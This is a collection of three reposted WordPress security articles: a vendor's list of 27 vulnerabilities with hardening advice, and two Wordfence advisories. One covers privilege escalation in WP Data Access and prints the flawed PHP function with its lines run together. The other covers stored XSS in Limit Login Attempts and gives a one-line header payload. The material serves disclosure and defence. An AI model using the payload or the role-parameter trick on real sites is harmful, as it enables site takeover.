Top 27 WordPress Security Vulnerabilities You Need To Know

Just the idea of WordPress Security Vulnerabilities can be daunting, and even a little scary, for some people.

We want to put an end to that.

In this article we’ll dispel some of the confusion and aim to reduce the anxiety that surrounds this topic. We’ll outline the big ticket items and provide clear, actionable advice on steps you can take to protect your WordPress sites.

Before we can talk about WordPress Security Vulnerabilities, let’s get clear on what exactly we mean.

What Is A WordPress Vulnerability?

When we think of vulnerabilities, the first thing to come to mind is usually publicly known software vulnerabilities. They often allow for some form of directed, specific attack against susceptible code.

This certainly is one type of vulnerability, as you’ll see below. But for the purposes of this article, we’re considering anything that makes your website susceptible to attack – anything that puts you at a disadvantage.

You can’t hope to fight hackers if you’re not aware of the weaknesses that your enemy will exploit.

This article will arm you with practical know-how to strengthen your weaker areas and give you the power and confidence to fight back.

Without further ado, let’s get into it.

#1 Outdated WordPress Core, Plugins, Themes

The single leading cause of WordPress site hacking is outdated WordPress software. This includes Plugins, Themes, and the WordPress Core itself.

The simple act of keeping all your plugins and themes up-to-date will keep you protected against the vast majority of vulnerabilities, either publicly known or “unknown”.

A known vulnerability is one that has been discovered, typically by a dedicated researcher, and published publicly – see #6 below.  But code vulnerabilities that aren’t publicly known are also important to be aware of.

Any good software developer is constantly improving their skills and their code. Over time, you can expect their code to improve, so keeping software updated ensures that you’re running only the best code on your sites.

How to protect against outdated WordPress software

We recommend making “WordPress Updates” a regular part of your weekly maintenance schedule. Block out some time every single week to get this critical work done.

The WordPress team regularly releases bug-fixing patches for the Core, and since WordPress 3.7+, these are installed automatically. It’s possible to disable that feature, but we strongly recommend that you never do.

# 2 Insecure WordPress Web Hosting

Your WordPress site is only as secure as the infrastructure that hosts it.

This is perhaps the most overlooked area of website security, and is, in our opinion, so critical that we place it in the top-3 in this list. #3 is closely related to this item, so make sure you check that out too.

If your web host doesn’t make server security a priority, then your server will get gradually more vulnerable over time. We see this all the time when customers write to our support team asking for help, only to discover that their web server is running on really, really old libraries.

This happens when the web host isn’t proactive in maintaining the server software that powers the websites of their customers.

Proactive maintenance by the web host has a cost, however. And if you’re paying bargain basement prices, then you can expect a corresponding level of service. That’s not to say that cheap web hosting is inherently insecure, and expensive web hosting isn’t. Not at all, but there is definitely a correlation between quality of web hosting and the price you pay.

How to protect against insecure WordPress web hosting

Cost of web hosting is only 1 indicator of quality. If your WordPress website is important to you or your business, then asking questions from the host about server security and ongoing maintenance should be part of your due diligence process.

You can take on recommendations from colleagues and friends, but never substitute their opinions with your own due diligence. Be prepared to invest in your hosting, as this will not only impact your security, but also your hosting reliability, uptime, and performance.

If you haven’t already done so, talk to your host today and ask them how they maintain the server that host your sites. Not in general terms, but ask them what their actual maintenance and update schedule is.

If you’re not happy with your answers and support, find a new host that will give you answers that you like. Never be afraid to switch service providers.

# 3 WordPress Web Hosting Site Contamination

This is related to the discussion above on web hosting quality. Generally speaking, the cheaper the web hosting, the more corners that will be cut in the service quality. This includes shared web server hosting configuration.

Here’s an over-simplified range of approaches in hosting websites:

  1. Host all sites within the same vhost*
  2. Host each site in separate vhosts, on the same, shared server
  3. Host each site on a separate VPS (Virtual Private Servers) on the same server
  4. Host each site on a separate dedicated server

*vhost is short for “virtual host”, that acts as a semi-independent container for hosting a website

As you move down the list, the cost increases, but the risk of contamination between websites increases. The 1st on the list is by-far the most dangerous, but is unfortunately the most common. This is where you might see something like:

  • /public_html/mywebsite1_com/
  • /public_html/mywebsite2_com/
  • /public_html/mywebsite3_com/
  • /public_html/mywebsite4_com/
  • /public_html/mywebsite5_com/

… when you look at the file system of the hosting account.

This is terrible for cross-site contamination as there is absolutely no isolation between individual websites. If any 1 of these sites becomes infected with malware, then you must assume the entire collection of sites is infected.

That’s a lot of cleanup work.

How to protect against web hosting site contamination

You’ll want to ensure that all your websites are, at the very least, hosted within their own vhost.

You could separate sites even further with separate VPSs, but you’ll pay more for it.

You’ll need to choose the type of hosting that best suits your expertise and budget.

If you can avoid it, please steer clear of hosting multiple sites within the same vhost, and if you are doing this already, look to gradually migrate these sites to their own independent vhosts as soon as possible.

For an idea, have a look at how we go about hosting many of our smaller WordPress sites.

# 4 Non-HTTPS Protection

Internet traffic sent via plain HTTP doesn’t encrypt the data transmitted between the website and the user’s browser, making it vulnerable to interception and tampering.

To avoid this, a technology known as Secure HTTP (HTTPS) is used.

Secure HTTPS is provided through the use of SSL/TLS certificates. It’s impossible to verify the identity of a website without certificates, and sensitive information such as login credentials, payment details, and personal information can be intercepted easily.

How to solve Non-HTTPS traffic

All WordPress websites should be using HTTPS by default. SSL Certificates are available for free with the LetsEncrypt service, and many web hosts provide this as-standard.

If your webhost doesn’t supply free LetsEncrypt Certificates, look to move hosts ASAP.

# 5 Insecure File Management (FTP) Vulnerability

Secure File Management is similar to the previous item on secure web/internet communications. If you’re transferring files to and from your web server using a tool like FTP, then this will typically require logging in with a username and password. If you’re not using a secure version of FTP, then you’re transmitting your username and password in plain text which can potentially be intercepted and used to compromise your server.

How to solve Insecure File Management

Practically all web hosts offer secure FTP (either FTPS or SFTP) as standard, but you should check with your hosting provider on whether that’s what you’re using and if not, how to switch.

Always use secure methods of file management. It’s just as easy to use than the insecure methods.

# 6 Known Plugin and Theme Vulnerabilities

Known vulnerabilities is what typically comes to mind when we discuss the topic of WordPress Vulnerabilities. When you’re told to upgrade because there’s a vulnerability, it basically means: a vulnerability has been discovered in the code of a plugin/theme that allows a hacker to perform a malicious attack.

By upgrading the plugin/theme, the vulnerable code has been fixed to prevent said attack.

Each vulnerability is different. Some are severe, some are trivial. Some are hard to exploit, others are easy to exploit.

The worst type of vulnerability are those that are severe, but easy to exploit.

Unfortunately, there is very little nuance in the way vulnerabilities are discussed publicly and so they’re all communicated as being catastrophic. This is not the case.

Of course, some vulnerabilities really are brutal, but many are not.

The point I’m trying to make is that you don’t need to stress about them. All you need to do is stay on top of vulnerability alerts and if your site is using a plugin or theme with a known vulnerability, then you need to update it as soon as possible.

The pseudo-standard practice for vulnerabilities reporting is this:

  1. Existence of vulnerability is reported to the developer
  2. Developer fixes the vulnerability and releases an update
  3. Users update their plugins/themes
  4. Some time passes, say 30 days
  5. Vulnerability details are released to the general public after enough time has passed to allow most people to upgrade the affected plugin/theme.

This brings us back to the first item on our list of vulnerabilities. If you’re performing regular maintenance on your WordPress sites, the likelihood that you’ll be susceptible to a vulnerability is slim-to-none, as you’ll have updated the affected plugin/theme, and you’re already protected.

The problem arises when you don’t regularly update your assets and you’re left with a known vulnerability on your site.

How to solve Known Vulnerabilities

Keeping on top of your WordPress updates is the best way to stay ahead of this type of vulnerability.

Alongside this, you could also use a WordPress security plugin, such as ShieldPRO, that will alert you when there’s a known vulnerability present on your website, and even automatically upgrade plugins when this is the case.

# 7 Untracked File Modifications

At the time of writing this article, WordPress 6.2 ships with over 3,800 PHP and Javascript source files. And that’s just the WordPress core. You’ll have many, many more files in your plugins and themes directories.

An Indicator of Compromise (IoC) that a WordPress site has been hacked is when a file is modified on your WordPress installation, or even added to the site, that shouldn’t be. If this ever happens, you want to know about it as quickly as possible.

The only way to do this reliably is to regularly scan all your files – at least once per day. This involves taking each file in-turn and checking whether its contents have changed from the original file, or whether it’s a file that doesn’t belong.

How to protect against untracked file modifications

Nearly all WordPress security plugins offer this scanning feature, at least for WordPress core files.

But you’ll want to also scan your plugins and themes, too. Not all WordPress security plugins offer this, so you’ll need to check whether this is supported. ShieldPRO supports scanning for all plugins and themes found on WordPress.org.

An additional complication exists for premium plugins and themes, however. Since premium plugins are only available for download from the developers’ sites, the source files for these plugins are not available for us to check against. The developers at ShieldPRO, however, have built a crowdsource-powered scanning system for premium plugins and themes so you can check these also. At the time of writing, this feature isn’t available anywhere else.

# 8 wp-config.php File Changes

If you download the source files for WordPress, you’ll discover there is no wp-config.php file. This file is often created by customising the wp-config-sample.php file with the necessary information. Since there is no universal content for the wp-config.php file, there is no way to scan this file for changes (as outlined in the previous item on this list).

In our experience, the wp-config.php file and the root index.php files are the files that are most often targeted when malware is inserted into a WordPress site, but it’s impossible to scan them using existing techniques.

You will need to constantly keep an eye on these files and be alert for changes.

How to protect against changes to wp-config.php files

One approach is to adjust the file system permissions on the file itself. This can be quite complicated so you may need technical assistance to achieve this. If you can restrict the permissions of the file so that it may only be edited by specific users, but readable by the web server, then you’ll have gone a long way in protecting it.

However, this poses another problem. Many WordPress plugins will try to make adjustments to these files automatically, so restricting access may cause you other problems.

The developers at ShieldPRO have custom-built the FileLocker system to address this issue.

It takes a snapshot of the contents of the files and alerts you as soon as they change. You’ll then have the ability to review the precise changes and then ‘accept’ or ‘reject’ them.

# 9 Malicious or Inexperienced WordPress Admins

With great power comes great responsibility.

A WordPress admin can do anything to a website. They can install plugins, remove plugins, adjust settings, add other users, add other admins. Anything at all.

But this is far from ideal when the administrator is inexperienced and likely to break things. It’s even worse if an adminaccount is compromised and someone gains unauthorized access to a site.

For this reason we always recommend adopting the Principle of Least Privilege (PoLP). This is where every user has their access privileges restricted as far as possible, but still allow them to complete their tasks.

This is why WordPress comes with built-in user roles such as Author and Editor, so that you can assign different permissions to users without giving them access to everything.

How to protect malicious or inexperienced administrators

As we’ve discussed, you should adopt PoLP and restrict privileges as far as possible.

Another approach that we’ve taken with Shield Security is to restrict a number of administrator privileges from the administrators themselves. We call this feature “Security Admin” and it allows us to lockout admin features from the everyday admin, such as:

  • Plugins management (install, activate, deactivate)
  • WordPress options control (site name, site URL, default user role, site admin email)
  • User admin control (creating, promoting, removing other admin users)
  • and more…

With the Security Admin feature we’re confident that should anyone gain admin access to the site, or already have it, they are prevented from performing many tasks that could compromise the site.

# 10 Existing Malware Infections

Think of malware as an umbrella term for any code that is malicious. Their purpose is wide-ranging, including:

  • stealing user data,
  • injecting spam content e.g. SEO Spam,
  • redirecting traffic to nefarious websites,
  • backdoors that allow unfettered access to the site and its data
  • or even taking over control of the website entirely

How to protect against WordPress Malware infections

Use a powerful malware scanner regularly on your WordPress sites to detect any unintended file changes and possible malware code. Examine all file changes and suspicious code as early as possible, and remove it.

# 11 WordPress Brute Force Login Attacks

WordPress brute force attacks attempt to gain unauthorized access to a website by trying to login using different username and password combinations.

These attacks are normally automated and there’s no way to stop them manually.

How to protect against brute force login attacks

You’ll need to use a WordPress security plugin, such as ShieldPRO, to detect these repeated login requests, and block the IP addresses of attackers automatically.

A powerful option is to use a service like CloudFlare to add rate limiting protection to your WordPress login page.

We also recommend using strong, unique (not shared with other services) passwords. You can use ShieldPRO to enforce minimum password strength requirements.

# 12 WordPress SQL Injection

WordPress SQL injection refers to attempts by an attacker to use carefully crafted database (MySQL) statements to read or update data residing in the WordPress database.

This is normally achieved through sending malicious data through forms on your site, such as search bars, user login forms, and contact forms.

If the SQL injection is successful, the attacker could potentially gain unauthorized access to the website’s database. They are free to steal sensitive information such as user data or login credentials, or if the injection is severe enough, make changes to the database to open up further site access.

How to protect against SQL injection attacks

The best protection against SQL injection attacks is defensive, well-written software. If the developer is doing all the right things, such as using prepared statements, validating and sanitizing user input, then malicious SQL statements are prevented from being executed.

This brings us back to item #1 on our list: keep all WordPress assets updated.

As further protection, you’ll want to use a firewall that detects SQL injection attacks and blocks the requests. ShieldPRO offers this as-standard.

# 13 Search Engine Optimization (SEO) Spam Attack

WordPress Search Engine Optimization (SEO) spam refers to manipulation of search engine results and rankings of a WordPress website.

SEO spam can take many forms, such as keyword stuffing, hidden text and links, cloaking, and content scraping.

This type of attack normally involves modification of files residing on the WordPress site, that will then cause the SPAM content to be output when the site is crawled by Google.

How to protect against SEO SPAM attacks

Ensuring your site is registered with Google Webmaster Tools and staying on top of any alerts is a first step in monitoring changes in your website’s search engine visibility.

As mentioned earlier, these sorts of attacks normally rely on modifying files on your WordPress site, so regular file scanning and review of scan results will help you detect file changes early and revert anything that appears malicious.

# 14 Cross-Site Scripting (XSS) Attack

WordPress Cross-Site Scripting (XSS) is where an attacker injects malicious scripts into a WordPress website’s web pages that is then automatically executed by other users. The attacker can use various methods to inject the malicious scripts, such as through user input fields, comments, or URLs.

This attack vector can potentially steal user data or have the user unintentionally perform other malicious actions on the website.

How to protect against XSS attacks

The prime responsibility for prevention of this attack lies with the software developer. They must properly sanitize and validate all user input to ensure they are as expected.

Security plugins may also be able to intercept the XSS payloads, but this is less common. The only thing that you, as the WordPress admin, can do is ensure that all WordPress assets (plugins & themes) are kept up-to-date, and that you’re using vetted plugins from reputable developers. (See the section on Nulled Plugins below)

# 15 Denial of Service Attacks (DoS)

WordPress Denial of Service (DoS) attacks attempt to overwhelm a WordPress server with a huge volume of traffic.

By exhausting the server resources, it renders the website inaccessible to legitimate users. This would be disastrous for, say, an e-commerce store.

How to protect against DoS attacks

DoS attacks can be simple to implement for an attacker, but they’re also relatively straightforward to prevent. Using traffic limiting, you can reduce the ability of an attacker to access your site and consume your resources.

Choosing web hosting that is sized correctly with enough resources to absorb some attacks, and even using a provider that implements DoS as part of their service offering will also help mitigate these attacks.

It should be noted that if the DoS attack is large enough, no WordPress plugin will be able to mitigate it. You’ll need the resources of a WAF service, such as CloudFlare, to ensure your web server is protected.

# 16 Distributed Denial of Service Attacks (DDoS)

A Distributed Denial of Service attack is the same as a Denial of Service (#15) attack, except that there are multiple origins for the requests that flood your server.

These attacks are more sophisticated, and more costly, for the attacker, so they’re definitely rarer. But they have exactly the same effect on your site as a normal DoS attack.

How to protect against DDoS attacks

Most web hosts are just not sophisticated enough to withstand a sustained DDoS attack and you’ll need the services of a dedicated WAF, such as CloudFlare.

# 17 Weak Passwords

WordPress Weak Passwords vulnerability is the use of weak passwords by WordPress users. Weak passwords can be easily cracked by attackers, allowing them to gain unauthorized access to the WordPress website and take any type of malicious action.

Related to Brute Force attacks, automated tools can be used to systematically guess or crack weak passwords with ease.

How to protect against Weak Password

To prevent WordPress Weak Passwords Vulnerability, website owners should ensure that all users, including administrators, use strong passwords. Strong passwords are complex and difficult to guess, typically consisting of a combination of uppercase and lowercase letters, numbers, and special characters. Passwords should also be unique and not used across multiple, separate services.

WordPress doesn’t currently enforce strong passwords, so a WordPress security plugin, such as ShieldPRO, will be needed to enforce this.

# 18 Pwned Passwords

Pwned passwords vulnerability is where a WordPress user re-uses a password they’ve used elsewhere, but that has been involved in a data breach.

If a password is publicly known to have been used for a given user, and the same user re-uses it on another service, then it opens up a strong possibility that the user account could be compromised.

How to protect against Pwned Passwords

The Pwned Passwords service provides a public API that can be used to check passwords. You’ll want to enforce some sort of password policy that restricts the user of Pwned Passwords on your WordPress sites. Shield Security offers this feature as-standard.

# 19 Account Takeover Vulnerability

The previous items on this list discussed the importance of good password hygiene. But until we can go through all our accounts and ensure there is no password reuse, no pwned passwords, and all our passwords are strong, we can prevent any sort of account theft by ensuring that the person logging-in to a user account is, in-fact that person.

This is where 2-factor authentication (2FA) comes into play.

It is designed to help verify and ensure that the person logging in, is who they say they are and is a critical part of all good WordPress website security.

2-Factor authentication involves verifying another piece of information (a factor) that only that user has access to, alongside their normal password. This could be in the form of an SMS text or an email containing a 1-time passcode. It could also use something like Google Authenticator to generate codes every 30 seconds.

How to protect against account takeover vulnerability

WordPress doesn’t offer 2FA option to the user login process, by default. You will need a WordPress security plugin that offers this functionality. Shield Security has offered 2FA by email, Google Authenticator and Yubikey for many years now.

# 20 Nulled Plugins and Themes Vulnerabilities

“Nulled” plugins and themes are pirated versions of premium WordPress plugins and themes that are distributed without the permission of the original authors.

They pose significant security risks as they often contain malicious code or backdoors that can be used by hackers to gain unauthorized access to the website.

They may also include hidden links or spammy advertisements that can harm the website’s reputation or adversely affect its search engine rankings. (see SEO SPAM)

How to prevent vulnerabilities through nulled plugins and themes

The simple solution to this is to purchase premium plugins and themes from the original software vendor. A lot of work goes into the development of premium plugins and themes and supporting the developer’s work goes a long way to ensuring the project remains viable for the lifetime of your own projects.

# 21 Inactive WordPress Users Vulnerability

Inactive WordPress users vulnerability refers to the security risk posed by user accounts that haven’t been active for an extended period of time. Inactive accounts can become a target for hackers, as they may be easier to compromise than active accounts. Older accounts are more likely to have Pwned Passwords, for example.

If a hacker can gain access to an inactive user account, particularly an admin account, it’s an open door to your website data. Users automatically bypass certain checks and they can easily post spam or exploit vulnerable code on the website.

How to prevent vulnerabilities from inactive WordPress users

To prevent any vulnerability posed by inactive WordPress users, it’s important to follow these best practices:

  • Regularly monitor your website’s user accounts and delete any that are inactive.
  • Implement strong password policies for all user accounts (see above).
  • Use a security plugin that can detect and alert you to any suspicious user activity.
  • Use a security plugin that can automatically disable access to inactive user accounts.

# 22 Default Admin User Account Vulnerability

The WordPress default admin user account vulnerability refers to the security risk posed by the default “admin” username that is automatically created in the installation of any WordPress site.

This default account name is widely-known and a common target by hackers, since knowing a valid admin username is half the information needed to gain admin access.

If the admin isn’t using strong passwords or 2-factor authentication, then the site is particularly vulnerable.

How to protect against the admin user account vulnerability

It should be understood that changing the primary admin username of a WordPress site is “security through obscurity”, and that using strong passwords is required regardless of the username.

To eliminate this risk, you’ll want to rename the admin username on a site. The simplest method to do this is to create a new administrator account and then delete the old account. Please ensure that you transfer all posts/pages to the new admin account during this process. Always test this on a staging site to ensure there are no unforeseen problems.

# 23 WordPress Admin PHP File Editing Vulnerability

WordPress comes with the ability to edit plugin and theme files directly on a site, from within the WordPress admin area. The editors are usually linked to within the Plugins and Appearance admin menus, but have recently been moved to the Tools menu, in some cases.

Having this access is far from ideal as it allows any administrator to quietly modify files. This also applies to anyone that gains unauthorised access to an admin account.

There is usually no good reason to have access to these editors

How To Restrict Access To The WordPress PHP File Editors

The easiest way to prevent this is to disallow file editing within WordPress.

The Shield Security plugin has an option to turn off file editing.This can be found under the WP Lockdown module and is easy to turn on and off.

# 24 WordPress Default Prefix for Database Tables 

WordPress’ default prefix for database tables represent a potential security risk. Similar to the previous item in the list, this is about reducing your surface area of attack by obscuring certain elements of your site.

If there are attempted attacks through SQL injection, then sometimes knowing the database table prefix can be helpful. If the attacker doesn’t know it, it may slow the attack or prevent it entirely.

The point is, obscuring the names of your database tables from would-be hackers won’t do any harm whatsoever, but may give you an edge over unsophisticated hacking attempts.

Hackers can exploit this vulnerability by using SQL injection attacks to gain unauthorized access to the website’s database. This can result in the theft of sensitive information or the compromise of the website’s security.

How To Change The WordPress Database Table Prefix

This is much more easily done at the time of WordPress installation – always choose a none-default (wp_) prefix.

Changing an existing prefix will require some MySQL database knowledge and we would recommend you employ the skills of a competent professional. And, as always, ensure you have a full and complete backup of your site.

It’s also important to note that, as mentioned above, you should be using a firewall or security plugin that can detect and block SQL injection attacks.

# 25 Directory Browsing Vulnerability

Web server directory browsing is where you can browse the contents of a web server from your web browser. This is far from ideal, as it supplies hackers information they may find useful to launch an attack.

From a hacker point of view, which would be better? Knowing which WordPress plugins are installed, or not knowing any of the WordPress plugins installed?

Clearly, more information is always better. And so we return to the principle of obscurity and reducing your surface area of attack by limiting access to information that hackers can use.

How To Prevent Directory Browsing Vulnerability

The easiest way to prevent this type of vulnerability is to directory browsing altogether.

This is done by adding a simple line to the site’s .htaccess file. Bear in mind that that this is only applicable to websites running the Apache web server (not nginx)

# 26 WordPress Security Keys/Salts

WordPress security keys are the means of encrypting and securing user cookies that control user login sessions. So they’re critical to good user security.

How To Improve User Security With Strong Keys/Salts

This is an easy one to implement for most admins. Here’s a quick how-to guide on updating your WordPress security keys.

# 27 Public Access To WordPress Debug Logs

Another security through obscurity item, the WordPress debug logs are normally stored in a very public location: /wp-content/debug.log

This is far from ideal as normally, without any specific configuration changes, this file is publicly accessible, and may expose some private site configuration issues through errors and logs data.

How To Eliminate Access to WordPress Debug Logs

If the file mentioned above is on your site, then you’ll want to move or delete it. You’ll then want to switch off debug mode on your site as you only need this active if you’re investigating a specific site issue.

Debug mode is typically toggled in your wp-config.php file so have a look in there for the lines:

define( 'WP_DEBUG', true );
define( 'WP_DEBUG_LOG', true );

You can either:

  • Remove the lines entirely,
  • Comment out the lines, or
  • Switch true to false for both of these.

Bonus Security Tip: WordPress Website Backup

WordPress backup is often cited as a WordPress Security function. Strictly speaking, it’s not. It forms part of your disaster recovery plan. You might not have a formal DR plan, but having a website backup may be your implicit plan.

If anything ever goes wrong with your WordPress site, whether this is security related or not, having a backup is critical to being able to recover your site.

If you haven’t put a regular backup plan in place for your site, this is probably the first thing you need to do. Some of the items in this list need to be done with the option of restoring a backup in case of disaster.

Final Thoughts On Your WordPress Security

With WordPress being so widely used, it’s the obvious target for hackers to focus their efforts. This means the aspects you have to consider can be almost overwhelming, in your quest to secure your WordPress sites.

The process is never-ending and you might even address all of the items on this list, and still get hacked. But you have to keep at it.

Each step you take to lockdown your site, puts a bit more distance between you and the hackers. You might not always stay ahead of them, and you won’t always have time to address issues immediately, but we can assure that the more steps you take, the more secure your site will be.

Source :
https://getshieldsecurity.com/blog/wordpress-security-vulnerabilities/

Privilege Escalation Vulnerability Patched Promptly in WP Data Access WordPress Plugin

On April 5, 2023 the Wordfence Threat Intelligence team initiated the responsible disclosure process for a vulnerability we discovered in WP Data Access, a WordPress plugin that is installed on over 10,000 sites. This flaw makes it possible for an authenticated attacker to grant themselves administrative privileges via a profile update, if the targeted site has the ‘Role Management’ setting enabled.

Wordfence PremiumCare, and Response users received a firewall rule to protect against any exploits targeting this vulnerability on April 5, 2023. Sites still using the free version of Wordfence will receive the same protection on May 5, 2023.

We performed our initial outreach to the developer on April 5, 2023, the same day we discovered the vulnerability. We received a response the same day and sent over the full details. The developer released a patch swiftly the next day on April 6, 2023.

We’d like to say a special thanks to the lead developer of WP Data Access, Peter Schulz, who provided an exemplary example of how security issues should be handled by responding immediately and releasing a patch the next day.

We strongly recommend ensuring that your site has been updated to the latest patched version of WP Data Access, which is version 5.3.8 at the time of this publication.


Vulnerability Summary from Wordfence Intelligence

Description: WP Data Access <= 5.3.7 – Authenticated (Subscriber+) Privilege Escalation
Affected Plugin: WP Data Access
Plugin Slug: wp-data-access
Affected Versions: <= 5.3.7
CVE ID: CVE-2023-1874
CVSS Score: 7.5 (High)
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Researcher/s: Chloe Chamberland
Fully Patched Version: 5.3.8

The WP Data Access plugin for WordPress is vulnerable to privilege escalation in versions up to, and including, 5.3.7. This is due to a lack of authorization checks on the multiple_roles_update function. This makes it possible for authenticated attackers, with minimal permissions such as a subscriber, to modify their user role by supplying the ‘wpda_role[]‘ parameter during a profile update. This requires the ‘Enable role management’ setting to be enabled for the site.


Vulnerability Analysis

WP Data Access is a WordPress plugin designed to make data table creation in WordPress more intuitive and easier to manage for site owners. One feature of the plugin is the ability to enable role management, which makes it possible for a site owner to create custom roles and assign multiple roles to different users. Unfortunately, this functionality was insecurely implemented making it possible for authenticated users to assign any role to themselves, including the administrative role.

Taking a closer look at the code, we see that the ‘multiple_roles_update‘ function used to assign a user’s new roles upon updating a profile is hooked via ‘’profile_update‘’. This hook is triggered immediately after any user profile is updated and it does not perform any sort of authorization checks on the user performing the action. As such, this means that any update to a user’s profile, including on the profile.php page, will invoke the hooked function ‘multiple_roles_update‘.

This makes it possible for any authenticated users with an account, such as subscribers, to invoke the ‘multiple_roles_update‘ function.

229$this->loader->add_action( 'profile_update', $wpda_roles, 'multiple_roles_update');

If the associated function had a capability check, then it may have prevented these users from fully executing the function, however, that was not the case. Reviewing the hooked function, we see a check verifying that the role management setting is enabled, but nothing more. The function then determines the user and looks for the ‘wpda_role‘ array parameter from a given request. If present, it will process the supplied roles and add the role and applicable permissions to the user retrieved in the first step.

This made it possible for authenticated users, such as a subscriber, making profile updates to supply the ‘wpda_role‘ array parameter with any desired roles, such as administrator, during a profile update that would be granted immediately upon save of the profile updates.

5051525354555657585960616263646566676869707172737475767778798081828384publicfunctionmultiple_roles_update( $user_id) {   if( ! $this->is_role_management_enabled ) {      return;   }   $wp_user= new\WP_User( $user_id);   if( isset( $wp_user->data->user_login ) ) {      $user_login= $wp_user->data->user_login;      // Get access to editable roles      global$wp_roles;      if( isset( $_REQUEST['wpda_role'] ) && is_array( $_REQUEST['wpda_role'] ) ) {         // Process roles         $sanitized_roles= array();         foreach( $_REQUEST['wpda_role'] as$new_user_role) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput            $sanitized_new_user_role= sanitize_text_field( wp_unslash( $new_user_role) ); // input var okay.            $wp_user->add_role( $sanitized_new_user_role);            $sanitized_roles[ $sanitized_new_user_role] = true;         }         // Remove unselected roles         foreach( $wp_roles->roles as$role=> $val) {            if( ! isset( $sanitized_roles[ $role] ) ) {               $wp_user->remove_role( $role);            }         }      } else{         // BUG!!! REMOVED!!!         // When plugin role management is enabled, this removes all user roles when a user updates his profile.         // foreach ( $wp_roles->roles as $role => $val ) {         // $wp_user->remove_role( $role );         // }      }   }}</pre><pre>

As with any Privilege Escalation vulnerability, this can be used for complete site compromise. Once an attacker has gained administrative user access to a WordPress site they can then manipulate anything on the targeted site as a normal administrator would. This includes the ability to upload plugin and theme files, which can be malicious zip files containing backdoors, and modifying posts and pages which can be leveraged to redirect site users to other malicious sites.

Disclosure Timeline

April 5, 2023 – Discovery of the Privilege Escalation vulnerability in WP Data Access. Wordfence PremiumCare, and Response users receive a firewall rule to provide protection against any exploits that may target this vulnerability.
April 5, 2023 – We initiate contact with the plugin vendor asking that they confirm the inbox for handling the discussion.
April 5, 2023 – The vendor confirms the inbox for handling the discussion.
April 5, 2023 – We send over the full disclosure details. The vendor acknowledges the report and begins working on a fix.
April 6, 2023 – A fully patched version of the plugin, 5.3.8, is released.
May 5, 2023 – Wordfence free users receive the firewall rule.

Conclusion

In today’s post, we detailed a flaw in the WP Data Access plugin that enabled authenticated attackers, with at least subscriber-level access to a site, to elevate their privileges to that of a site administrator which could ultimately lead to complete site compromise. This flaw has been fully patched in version 5.3.8.

We recommend that WordPress users immediately verify that their site has been updated to the latest patched version available, which is version 5.3.8 at the time of this publication.

Wordfence PremiumCare, and Response users received a firewall rule to protect against any exploits targeting this vulnerability on April 5, 2023. Sites still using the free version of Wordfence will receive the same protection on May 5, 2023.

If you know a friend or colleague who is using this plugin on their site, we highly recommend forwarding this advisory to them to help keep their sites protected as this is a serious vulnerability that can lead to a complete site takeover.

If you are a security researcher, you can responsibly disclose your finds to us and obtain a CVE ID and get your name on the Wordfence Intelligence leaderboard.

Did you enjoy this post? Share it!

Source :
https://www.wordfence.com/blog/2023/04/privilege-escalation-vulnerability-patched-promptly-in-wp-data-access-wordpress-plugin/

Update Now! Severe Vulnerability Impacting 600,000 Sites Patched in Limit Login Attempts

On January 26, 2023, the Wordfence team responsibly disclosed an unauthenticated stored Cross-Site Scripting vulnerability in Limit Login Attempts, a WordPress plugin installed on over 600,000 sites that provides site owners with the ability to block IP addresses that have made repeated failed login attempts.

The plugin is vulnerable in versions up to, and including, 1.7.1. A patch addressing this vulnerability was released on April 4, 2023 as version 1.7.2. We recommend all site owners update to version 1.7.2 as soon as possible.

All Wordfence PremiumWordfence Care, and Wordfence Response customers, along with those still using the free version of the plugin, are protected by the Wordfence firewall against any exploits targeting this vulnerability.

Description: Limit Login Attempts <= 1.7.1 – Unauthenticated Stored Cross-Site Scripting
Affected Plugin: Limit Login Attempts
Plugin Slug: limit-login-attempts
Affected Versions: <= 1.7.1
CVE ID: CVE-2023-1912
CVSS Score: 7.2 (High)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Researcher/s: Marco Wotschka
Fully Patched Version: 1.7.2

The Limit Login Attempts plugin offers some simple configuration options. These include a maximum number of login retries, lockout duration, lockout expiration times as well as some logging and notification options. The vulnerability, assigned CVE-2023-1912, requires a specific configuration: the site connection option must be set to “From behind a reversy [sic] proxy” and logging of IP addresses on lockout must be enabled. 

With the reverse proxy detection option enabled, the plugin uses the X-Forwarded-For header to determine the visitor’s IP address. While this HTTP header is spoofable, the plugin does offer its use as an alternative for those who are behind a load balancer or cache handler. It does not use this setting by default.

With the plugin’s logging feature enabled, login blocks are logged and displayed on the configuration page. The following code accomplishes this (slightly edited for legibility).

As can be seen, this function assembles a table of information but does not escape the values it uses. While sanitization is recommended as input is received, escaping output, even if it is already sanitized, is a far more effective tool in preventing Cross-Site Scripting. Unfortunately, this plugin was not utilizing either sanitization or escaping of the stored IP value that could be supplied via the X-Forwarded-For header.

To exploit this vulnerability, an attacker could send a login request with the following X-Forwarded-For header set:

X-Forwarded-For: <span onmouseover=alert(1)>23.23.23.23</span>

This header can be set via many methods, such as through a browser plugin or by intercepting the login request and adding it manually. Once the plugin’s blocking threshold is met, it will record the above code as the blocked IP and execute the malicious JavaScript code when an administrator visits the configuration page where the list of blocked IP addresses is displayed. This malicious code is executed under the authentication of an administrator and can be utilized to help facilitate a site takeover.

Cross-Site Scripting Vulnerabilities are the result of missing sanitization and unescaped display of user input. Most commonly, we see user input that is exploitable to Cross-Site Scripting collected via a form. In this vulnerability, the processed information is still provided by a user, but collected via a different and more unusual route which is why proper sanitization and escaping may have been missed.

Timeline

January 26, 2023 – We reached out directly to the WordPress Plugin Security Team as no contact information was readily available for the developer of the plugin.
March 24, 2023 – The WordPress Plugin Security Team team acknowledges receipt of our report.
April 4, 2023 – Version 1.7.2 addresses this issue.

Conclusion

In today’s post, we covered an unauthenticated Cross-Site Scripting vulnerability via the X-Forwarded-For header in the Limit Login Attempts plugin. This can be leveraged by unauthenticated attackers to facilitate a site takeover by injecting malicious JavaScript into the database of an affected site that may execute when a site administrator accesses the logging page.

Again, all Wordfence PremiumWordfence Care, and Wordfence Response customers, along with those still using the free version of the plugin, are protected by the Wordfence firewall for any exploits targeting this vulnerability.

